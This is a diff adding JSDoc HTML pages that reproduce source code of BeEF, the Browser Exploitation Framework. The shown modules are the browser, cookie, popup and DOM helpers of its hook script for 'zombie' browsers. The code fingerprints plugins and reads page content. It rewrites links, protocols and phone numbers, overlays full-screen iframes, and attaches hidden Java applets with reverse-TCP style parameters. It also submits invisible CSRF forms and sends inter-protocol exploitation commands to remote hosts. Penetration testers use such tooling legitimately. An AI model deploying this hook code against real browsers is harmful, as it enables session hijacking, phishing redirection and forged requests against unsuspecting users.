+                ggfactory = new ActiveXObject('Gears.Factory');
+                // IE Mobile on WinCE.
+                if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
+                    ggfactory.privateSetGlobalObject(this);
+                }
+            } catch (e) {
+                // Safari
+                if ((typeof navigator.mimeTypes != 'undefined')
+                    && navigator.mimeTypes["application/x-googlegears"]) {
+                    ggfactory = document.createElement("object");
+                    ggfactory.style.display = "none";
+                    ggfactory.width = 0;
+                    ggfactory.height = 0;
+                    ggfactory.type = "application/x-googlegears";
+                    document.documentElement.appendChild(ggfactory);
+                    if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
+                }
+            }
+        }
+        if (!ggfactory) return false; else return true;
+    },
+
+    /**
+     * Checks if the zombie has Foxit PDF reader plugin.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasFoxit()) { ... }
+     * */
+    hasFoxit: function () {
+
+        var foxitplugin = false;
+
+        try {
+            if (beef.browser.hasActiveX()) {
+                var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
+                foxitplugin = true;
+            } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
+                foxitplugin = true;
+            }
+        } catch (e) {
+            foxitplugin = false;
+        }
+
+        return foxitplugin;
+    },
+
+    /**
+     * Returns the page head HTML
+     **/
+    getPageHead: function () {
+        var html_head;
+        try {
+            html_head = document.head.innerHTML.toString();
+        } catch (e) {
+        }
+        return html_head;
+    },
+
+    /**
+     * Returns the page body HTML
+     **/
+    getPageBody: function () {
+        var html_body;
+        try {
+            html_body = document.body.innerHTML.toString();
+        } catch (e) {
+        }
+        return html_body;
+    },
+
+    /**
+     * Dynamically changes the favicon: works in Firefox, Chrome and Opera
+     **/
+    changeFavicon: function (favicon_url) {
+        var iframe = null;
+        if (this.isC()) {
+            iframe = document.createElement('iframe');
+            iframe.src = 'about:blank';
+            iframe.style.display = 'none';
+            document.body.appendChild(iframe);
+        }
+        var link = document.createElement('link'),
+            oldLink = document.getElementById('dynamic-favicon');
+        link.id = 'dynamic-favicon';
+        link.rel = 'shortcut icon';
+        link.href = favicon_url;
+        if (oldLink) document.head.removeChild(oldLink);
+        document.head.appendChild(link);
+        if (this.isC()) iframe.src += '';
+    },
+
+    /**
+     * Changes page title
+     **/
+    changePageTitle: function (title) {
+        document.title = title;
+    },
+
+    /**
+     * Get the browser language
+     */
+    getBrowserLanguage: function () {
+        var l = 'Unknown';
+        try {
+            l = window.navigator.userLanguage || window.navigator.language;
+        } catch (e) {
+        }
+        return l;
+    },
+
+    /**
+     *  A function that gets the max number of simultaneous connections the
+     *  browser can make per origin, or globally on all origin.
+     *
+     *  This code is based on research from browserspy.dk
+     *
+     * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
+     * @return {Object} A jQuery deferred object promise, which when resolved passes
+     *    the number of connections to the callback function as "this"
+     */
+
+
+
+    getMaxConnections: function (scope) {
+        /*
+        *    example usage:
+        *        $j.when(getMaxConnections()).done(function(){
+        *            console.debug("Max Connections: " + this);
+        *            }); 
+        */
+        var imagesCount = 30;		// Max number of images to test
+        var secondsTimeout = 5;		// Image load timeout threashold
+        var testUrl = "";		// The image testing service URL
+
+        // User broserspy.dk max connections service URL.
+        if (scope == 'PER_DOMAIN')
+            testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
+        else
+            // The token will be replaced by a different number with each request (different origin).
+            testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
+
+        var imagesLoaded = 0;			// Number of responding images before timeout.
+        var imagesRequested = 0;		// Number of requested images.
+        var testImages = new Array();		// Array of all images.
+        var deferredObject = $j.Deferred();	// A jquery Deferred object.
+
+        for (var i = 1; i <= imagesCount; i++) {
+            // Asynchronously request image.
+            testImages[i] =
+                $j.ajax({
+                    type: "get",
+                    dataType: true,
+                    url: (testUrl.replace("<token>", i)) + Math.random(),
+                    data: "",
+                    timeout: (secondsTimeout * 1000),
+
+                    // Function on completion of request.
+                    complete: function (jqXHR, textStatus) {
+
+                        imagesRequested++;
+
+                        // If the image returns a 200 or a 302, the text Status is "error", else null
+                        if (textStatus == "error") {
+                            imagesLoaded++;
+                        }
+
+                        // If all images requested
+                        if (imagesRequested >= imagesCount) {
+                            // resolve the deferred object passing the number of loaded images.
+                            deferredObject.resolveWith(imagesLoaded);
+                        }
+                    }
+                });
+
+        }
+
+        // Return a promise to resolve the deffered object when the images are loaded.
+        return deferredObject.promise();
+
+    }
+
+};
+
+beef.regCmp('beef.browser');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/browser_cookie.js.html b/docs/browser_cookie.js.html new file mode 100644 index 000000000..b4b92dbce --- /dev/null +++ b/docs/browser_cookie.js.html @@ -0,0 +1,172 @@ + + + + + JSDoc: Source: browser/cookie.js + + + + + + + + + + +
+ +

Source: browser/cookie.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides fuctions for working with cookies. 
+ * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
+ * Original author unknown.
+ * @namespace beef.browser.cookie
+ */
+beef.browser.cookie = {
+	
+		/** @memberof beef.browser.cookie */
+		setCookie: function (name, value, expires, path, domain, secure) 
+		{
+	
+			var today = new Date();
+			today.setTime( today.getTime() );
+	
+			if ( expires )
+			{
+				expires = expires * 1000 * 60 * 60 * 24;
+			}
+			var expires_date = new Date( today.getTime() + (expires) );
+	
+			document.cookie = name + "=" +escape( value ) +
+				( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
+				( ( path ) ? ";path=" + path : "" ) +
+				( ( domain ) ? ";domain=" + domain : "" ) +
+				( ( secure ) ? ";secure" : "" );
+		},
+		/** @memberof beef.browser.cookie */
+		getCookie: function(name) 
+		{
+			var a_all_cookies = document.cookie.split( ';' );
+			var a_temp_cookie = '';
+			var cookie_name = '';
+			var cookie_value = '';
+			var b_cookie_found = false;
+			
+			for ( i = 0; i < a_all_cookies.length; i++ )
+			{
+				a_temp_cookie = a_all_cookies[i].split( '=' );
+				cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
+				if ( cookie_name == name )
+				{
+					b_cookie_found = true;
+					if ( a_temp_cookie.length > 1 )
+					{
+						cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
+					}
+					return cookie_value;
+					break;
+				}
+				a_temp_cookie = null;
+				cookie_name = '';
+			}
+			if ( !b_cookie_found )
+			{
+				return null;
+			}
+		},
+		/** @memberof beef.browser.cookie */
+		deleteCookie: function (name, path, domain) 
+		{
+			if ( this.getCookie(name) ) document.cookie = name + "=" +
+			( ( path ) ? ";path=" + path : "") +
+			( ( domain ) ? ";domain=" + domain : "" ) +
+			";expires=Thu, 01-Jan-1970 00:00:01 GMT";
+		},
+
+	    /** @memberof beef.browser.cookie */
+		veganLol: function (){
+			var to_hell= '';
+			var min = 17;
+			var max = 25;
+			var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
+
+			var grunt = function(){
+				var moo = Math.floor(Math.random() * 62);
+				var char = '';
+				if(moo < 36){
+					char = String.fromCharCode(moo + 55);
+				}else{
+					char = String.fromCharCode(moo + 61);
+				}
+				if(char != ';' && char != '='){
+					return char;
+				}else{
+					return 'x';
+				}
+			};
+
+			while(to_hell.length < lol_length){
+				to_hell += grunt();
+			}
+			return to_hell;
+		},
+		/** @memberof beef.browser.cookie */
+		hasSessionCookies: function (name){
+			this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
+
+			cookiesEnabled = (this.getCookie(name) == null)? false:true;
+			this.deleteCookie(name, '/', '');
+			return cookiesEnabled;
+			
+		},
+		/** @memberof beef.browser.cookie */
+		hasPersistentCookies: function (name){
+			this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
+
+			cookiesEnabled = (this.getCookie(name) == null)? false:true;
+			this.deleteCookie(name, '/', '');
+			return cookiesEnabled;
+			
+		}	
+					
+};
+
+beef.regCmp('beef.browser.cookie');
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/browser_jools.html b/docs/browser_jools.html new file mode 100644 index 000000000..550c23236 --- /dev/null +++ b/docs/browser_jools.html @@ -0,0 +1,1165 @@ + + + + + JSDoc: Namespace: browser_jools + + + + + + + + + + +
+ +

Namespace: browser_jools

+ + + + + + +
+ +
+ +

browser_jools

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) exports.version

+ + + + +
+

version

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) require.resolve

+ + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) Jools(rules)

+ + + + + + +
+

Jools constructor.

+

A rule consists of:

+
    +
  • Descriptive name
  • +
  • One or more conditions
  • +
  • One or more consequences, which are fired when all conditions evaluate to true.
  • +
+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
rules + + +Object + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) module.exports.paramNames(f)

+ + + + + + +
+

Returns an array of parameter names of the function f

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
f + + +function + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) module.exports.paramsToArguments(obj, params)

+ + + + + + +
+

Creates an array of arguments

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
obj + + +Object + + + +
params + + +Array + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) normalizeArray(parts, allowAboveRoot)

+ + + + + + +
+

resolves . and .. elements in a path array with directory names there +must be no slashes, empty elements, or device names (c:) in the array +(so also no leading and trailing slashes - it does not distinguish +relative and absolute paths)

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
parts + +
allowAboveRoot + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) require(file, cwd)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
file + +
cwd + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) require.alias()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) require.define()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/browser_popup.js.html b/docs/browser_popup.js.html new file mode 100644 index 000000000..987254a81 --- /dev/null +++ b/docs/browser_popup.js.html @@ -0,0 +1,79 @@ + + + + + JSDoc: Source: browser/popup.js + + + + + + + + + + +
+ +

Source: browser/popup.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides fuctions for working with cookies. 
+ * Several functions adopted from http://davidwalsh.name/popup-block-javascript
+ * Original author unknown.
+ * @namespace beef.browser.popup
+ */
+beef.browser.popup = {
+		/** @memberof beef.browser.popup */
+		blocker_enabled: function ()
+		{
+			screenParams = beef.hardware.getScreenSize();
+			var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
+			if (popUp == null || typeof(popUp)=='undefined') {   
+			  	return true;
+			} else {   
+				popUp.close();
+				return false;
+			}
+		}
+};
+
+beef.regCmp('beef.browser.popup');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/dom.js.html b/docs/dom.js.html new file mode 100644 index 000000000..4172451c8 --- /dev/null +++ b/docs/dom.js.html @@ -0,0 +1,554 @@ + + + + + JSDoc: Source: dom.js + + + + + + + + + + +
+ +

Source: dom.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides functionality to manipulate the DOM.
+ * @namespace beef.dom
+ */
+beef.dom = {
+	
+	/**
+	 * Generates a random ID for HTML elements
+	 * @param {String} prefix a custom prefix before the random id. defaults to "beef-"
+	 * @return {String} generated id
+	 */
+	generateID: function(prefix) {
+		return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
+	},	
+		
+	/**
+	 * Creates a new element but does not append it to the DOM.
+	 * @param {String} type the name of the element.
+	 * @param {Array} attributes the attributes of that element.
+	 * @return {Array} the created element.
+	 */
+	createElement: function(type, attributes) {
+		var el = document.createElement(type);
+		
+		for(index in attributes) {
+			if(typeof attributes[index] == 'string') {
+				el.setAttribute(index, attributes[index]);
+			}
+		}
+		
+		return el;
+	},
+	
+	/**
+	 * Removes element from the DOM.
+	 * @param {Object} el the target element to be removed.
+	 */
+	removeElement: function(el) {
+		if (!beef.dom.isDOMElement(el))
+		{
+			el = document.getElementById(el);
+		}
+		try {
+			el.parentNode.removeChild(el);
+		} catch (e) { }
+	},
+	
+	/**
+	 * Tests if the object is a DOM element.
+	 * @param {Object} the DOM element.
+	 * @return {boolean} true if the object is a DOM element.
+	 */
+	isDOMElement: function(obj) {
+		return (obj.nodeType) ? true : false;
+	},
+	
+	/**
+	 * Creates an invisible iframe on the hook browser's page.
+	 * @return {array} the iframe.
+	 */
+	createInvisibleIframe: function() {
+		var iframe = this.createElement('iframe', {
+				width: '1px',
+				height: '1px',
+				style: 'visibility:hidden;'
+			});
+		
+		document.body.appendChild(iframe);
+		
+		return iframe;
+	},
+
+	/**
+	 * Returns the highest current z-index
+	 * @param {Boolean} whether to return an associative array with the height AND the ID of the element
+	 * @return {Integer} Highest z-index in the DOM
+	 * OR
+	 * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
+	 */
+	getHighestZindex: function(include_id) {
+		var highest = {'height':0, 'elem':''};
+		$j('*').each(function() {
+			var current_high = parseInt($j(this).css("zIndex"),10);
+			if (current_high > highest.height) {
+				highest.height = current_high;
+				highest.elem = $j(this).attr('id');
+			}
+		});
+
+		if (include_id) {
+			return highest;
+		} else {
+			return highest.height;
+		}
+	},
+	
+	/**
+     * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
+     * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
+     * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
+	 * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
+	 * @param {Hash} params: list of params that will be sent in request.
+	 * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
+	 * @param {Function} a callback function to fire once the iFrame has loaded
+	 * @return {Object} the inserted iFrame
+     *
+	 */
+	createIframe: function(type, params, styles, onload) {
+		var css = {};
+
+		if (type == 'hidden') {
+			css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
+		} else if (type == 'fullscreen') {
+			css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
+			$j('body').css({'padding':'0px', 'margin':'0px'});
+		} else {
+			css = styles;
+			$j('body').css({'padding':'0px', 'margin':'0px'});
+		}
+		var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
+		
+		return iframe;
+	},
+
+    /**
+     * Load the link (href value) in an overlay foreground iFrame.
+     * The BeEF hook continues to run in background.
+     * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
+     * Framebusting techniques, this will not work.
+     */
+    persistentIframe: function(){
+        $j('a').click(function(e) {
+            if ($j(this).attr('href') != '')
+            {
+                e.preventDefault();
+                beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
+                $j(document).attr('title', $j(this).html());
+                document.body.scroll = "no";
+                document.documentElement.style.overflow = 'hidden';
+            }
+        });
+    },
+
+    /**
+     * Load a full screen div that is black, or, transparent
+     * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
+     * @param {Hash} options: a collection of options to customise how the div is configured, as follows:
+     *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
+     *           // By default this is 70 
+     *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
+     *           // By default this will use beef.dom.getHighestZindex to always go to the top
+     *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code
+     *           // By default this is #000000
+     */
+	grayOut: function(vis, options) {
+	  // in any order.  Pass only the properties you need to set.
+	  var options = options || {};
+	  var zindex = options.zindex || beef.dom.getHighestZindex()+1;
+	  var opacity = options.opacity || 70;
+	  var opaque = (opacity / 100);
+	  var bgcolor = options.bgcolor || '#000000';
+	  var dark=document.getElementById('darkenScreenObject');
+	  if (!dark) {
+	    // The dark layer doesn't exist, it's never been created.  So we'll
+	    // create it here and apply some basic styles.
+	    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
+	    var tbody = document.getElementsByTagName("body")[0];
+	    var tnode = document.createElement('div');           // Create the layer.
+	        tnode.style.position='absolute';                 // Position absolutely
+	        tnode.style.top='0px';                           // In the top
+	        tnode.style.left='0px';                          // Left corner of the page
+	        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            
+	        tnode.style.display='none';                      // Start out Hidden
+	        tnode.id='darkenScreenObject';                   // Name it so we can find it later
+	    tbody.appendChild(tnode);                            // Add it to the web page
+	    dark=document.getElementById('darkenScreenObject');  // Get the object.
+	  }
+	  if (vis) {
+	    // Calculate the page width and height 
+	    if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
+	        var pageWidth = document.body.scrollWidth+'px';
+	        var pageHeight = document.body.scrollHeight+'px';
+	    } else if( document.body.offsetWidth ) {
+	      var pageWidth = document.body.offsetWidth+'px';
+	      var pageHeight = document.body.offsetHeight+'px';
+	    } else {
+	       var pageWidth='100%';
+	       var pageHeight='100%';
+	    }
+	    //set the shader to cover the entire page and make it visible.
+	    dark.style.opacity=opaque;
+	    dark.style.MozOpacity=opaque;
+	    dark.style.filter='alpha(opacity='+opacity+')';
+	    dark.style.zIndex=zindex;
+	    dark.style.backgroundColor=bgcolor;
+	    dark.style.width= pageWidth;
+	    dark.style.height= pageHeight;
+	    dark.style.display='block';
+	  } else {
+	     dark.style.display='none';
+	  }
+	},
+
+	/**
+	 * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
+	 *  or, re-writing a document this is useful.
+	 */
+	removeStylesheets: function() {
+		$j('link[rel=stylesheet]').remove();
+		$j('style').remove();
+	},
+	
+	/**
+     * Create a form element with the specified parameters, appending it to the DOM if append == true
+	 * @param {Hash} params: params to be applied to the form element
+	 * @param {Boolean} append: automatically append the form to the body
+	 * @return {Object} a form object
+	 */
+	createForm: function(params, append) {
+		var form = $j('<form></form>').attr(params);
+		if (append)
+			$j('body').append(form);
+		return form;
+	},
+	
+	loadScript: function(url) {
+	  var s = document.createElement('script');
+	  s.type = 'text/javascript';
+	  s.src = url;
+	  $j('body').append(s);
+	},
+
+	/**
+	 * Get the location of the current page.
+	 * @return the location.
+	 */
+	getLocation: function() {
+		return document.location.href;
+	},
+	
+	/**
+	 * Get links of the current page.
+	 * @return array of URLs.
+	 */
+	getLinks: function() {
+		var linksarray = [];
+		var links = document.links;
+		for(var i = 0; i<links.length; i++) {
+			linksarray = linksarray.concat(links[i].href)		
+		};
+		return linksarray
+	},
+	
+	/**
+	 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
+	 * @param {String} url: the url to be rewritten
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteLinks: function(url, selector) {
+		var sel = (selector == null) ? 'a' : selector;
+		return $j(sel).each(function() {
+			if ($j(this).attr('href') != null)
+			{
+				$j(this).attr('href', url).click(function() { return true; });
+			}
+		}).length;
+	},
+
+	/**
+	 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
+	 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
+	 * @param {String} url: the url to be rewritten
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteLinksClickEvents: function(url, selector) {
+		var sel = (selector == null) ? 'a' : selector;
+		return $j(sel).each(function() {
+			if ($j(this).attr('href') != null)
+			{
+				$j(this).click(function() {this.href=url});
+			}
+		}).length;
+	},
+
+	/**
+     * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
+	 * @param {String} old_protocol: the old link protocol to be rewritten
+	 * @param {String} new_protocol: the new link protocol to be written
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
+
+		var count = 0;
+		var re = new RegExp(old_protocol+"://", "gi");
+		var sel = (selector == null) ? 'a' : selector;
+
+		$j(sel).each(function() {
+			if ($j(this).attr('href') != null) {
+				var url = $j(this).attr('href');
+				if (url.match(re)) {
+					$j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
+					count++;
+				}
+			}
+		});
+
+		return count;
+	},
+
+	/**
+	 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
+	 * @param {String} new_number: the new link telephone number to be written
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteTelLinks: function(new_number, selector) {
+
+		var count = 0;
+		var re = new RegExp("tel:/?/?.*", "gi");
+		var sel = (selector == null) ? 'a' : selector;
+
+		$j(sel).each(function() {
+			if ($j(this).attr('href') != null) {
+				var url = $j(this).attr('href');
+				if (url.match(re)) {
+					$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
+					count++;
+				}
+			}
+		});
+
+		return count;
+	},
+
+    /**
+     * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
+     * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
+     * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
+     */
+    parseAppletParams: function(params){
+         var result = '';
+         for (i in params){
+           var param = params[i];
+           for(key in param){
+              result += "<param name='" + key + "' value='" + param[key] + "' />";
+           }
+         }
+        return result;
+    },
+
+    /**
+     * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
+     * example usage in the code, using a JAR archive (recommended and faster):
+     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
+     * example usage in the code, using codebase:
+     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
+     * @param {String} id: reference identifier to the applet.
+     * @param {String} code: name of the class to be loaded. For example, beef.class.
+     * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
+     * @param {String} archive: the jar that contains the code.
+     * @param {String} params: an array of additional params that the applet except.
+     */
+    attachApplet: function(id, name, code, codebase, archive, params) {
+        var content = null;
+        if (beef.browser.isIE()) {
+            content = "" + // the classid means 'use the latest JRE available to launch the applet'
+                "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
+                "height='0' width='0' name='" + name + "'> " +
+                "<param name='code' value='" + code + "' />";
+
+            if (codebase != null) {
+                content += "<param name='codebase' value='" + codebase + "' />"
+            }
+            if (archive != null){
+                content += "<param name='archive' value='" + archive + "' />";
+            }
+            if (params != null) {
+                content += beef.dom.parseAppletParams(params);
+            }
+            content += "</object>";
+        }
+        if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
+
+            if (codebase != null) {
+                content = "" +
+                    "<applet id='" + id + "' code='" + code + "' " +
+                    "codebase='" + codebase + "' " +
+                    "height='0' width='0' name='" + name + "'>";
+            } else {
+                content = "" +
+                    "<applet id='" + id + "' code='" + code + "' " +
+                    "archive='" + archive + "' " +
+                    "height='0' width='0' name='" + name + "'>";
+            }
+
+            if (params != null) {
+                content += beef.dom.parseAppletParams(params);
+            }
+            content += "</applet>";
+        }
+        // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
+//        if (beef.browser.isFF()) {
+//            if (codebase != null) {
+//                content = "" +
+//                    "<embed id='" + id + "' code='" + code + "' " +
+//                    "type='application/x-java-applet' codebase='" + codebase + "' " +
+//                    "height='0' width='0' name='" + name + "'>";
+//            } else {
+//                content = "" +
+//                    "<embed id='" + id + "' code='" + code + "' " +
+//                    "type='application/x-java-applet' archive='" + archive + "' " +
+//                    "height='0' width='0' name='" + name + "'>";
+//            }
+//
+//            if (params != null) {
+//                content += beef.dom.parseAppletParams(params);
+//            }
+//            content += "</embed>";
+//        }
+        $j('body').append(content);
+    },
+
+    /**
+     * Given an id, remove the applet from the DOM.
+     * @param {String} id: reference identifier to the applet.
+     */
+    detachApplet: function(id) {
+        $j('#' + id + '').detach();
+    },
+
+    /**
+     * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
+     * @param {String} action: the form action attribute, where the request will be sent.
+     * @param {String} method: HTTP method, usually POST.
+     * @param {String} enctype: form encoding type
+     * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
+     *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
+     */
+    createIframeXsrfForm: function(action, method, enctype, inputs){
+        var iframeXsrf = beef.dom.createInvisibleIframe();
+
+        var formXsrf = document.createElement('form');
+        formXsrf.setAttribute('action',  action);
+        formXsrf.setAttribute('method',  method);
+        formXsrf.setAttribute('enctype', enctype);
+
+        var input = null;
+        for (i in inputs){
+            var attributes = inputs[i];
+            input = document.createElement('input');
+                for(key in attributes){
+                    if (key == 'name' && attributes[key] == 'submit') {
+                      // workaround for https://github.com/beefproject/beef/issues/1117
+                      beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
+                      input.setAttribute('Submit', attributes[key]);
+                    } else {
+                      input.setAttribute(key, attributes[key]);
+                    }
+                }
+            formXsrf.appendChild(input);
+        }
+        iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
+        formXsrf.submit();
+
+        return iframeXsrf;
+    },
+
+    /**
+     * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
+     * @param {String} rhost: remote host ip/domain
+     * @param {String} rport: remote port
+     * @param {String} commands: protocol commands to be executed by the remote host:port service
+     */
+    createIframeIpecForm: function(rhost, rport, path, commands){
+        var iframeIpec = beef.dom.createInvisibleIframe();
+
+        var formIpec = document.createElement('form');
+        formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);
+        formIpec.setAttribute('method',  'POST');
+        formIpec.setAttribute('enctype', 'multipart/form-data');
+
+        input = document.createElement('textarea');
+        input.setAttribute('name', Math.random().toString(36).substring(5));
+        input.value = commands;
+        formIpec.appendChild(input);
+        iframeIpec.contentWindow.document.body.appendChild(formIpec);
+        formIpec.submit();
+
+        return iframeIpec;
+    }
+
+};
+
+beef.regCmp('beef.dom');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
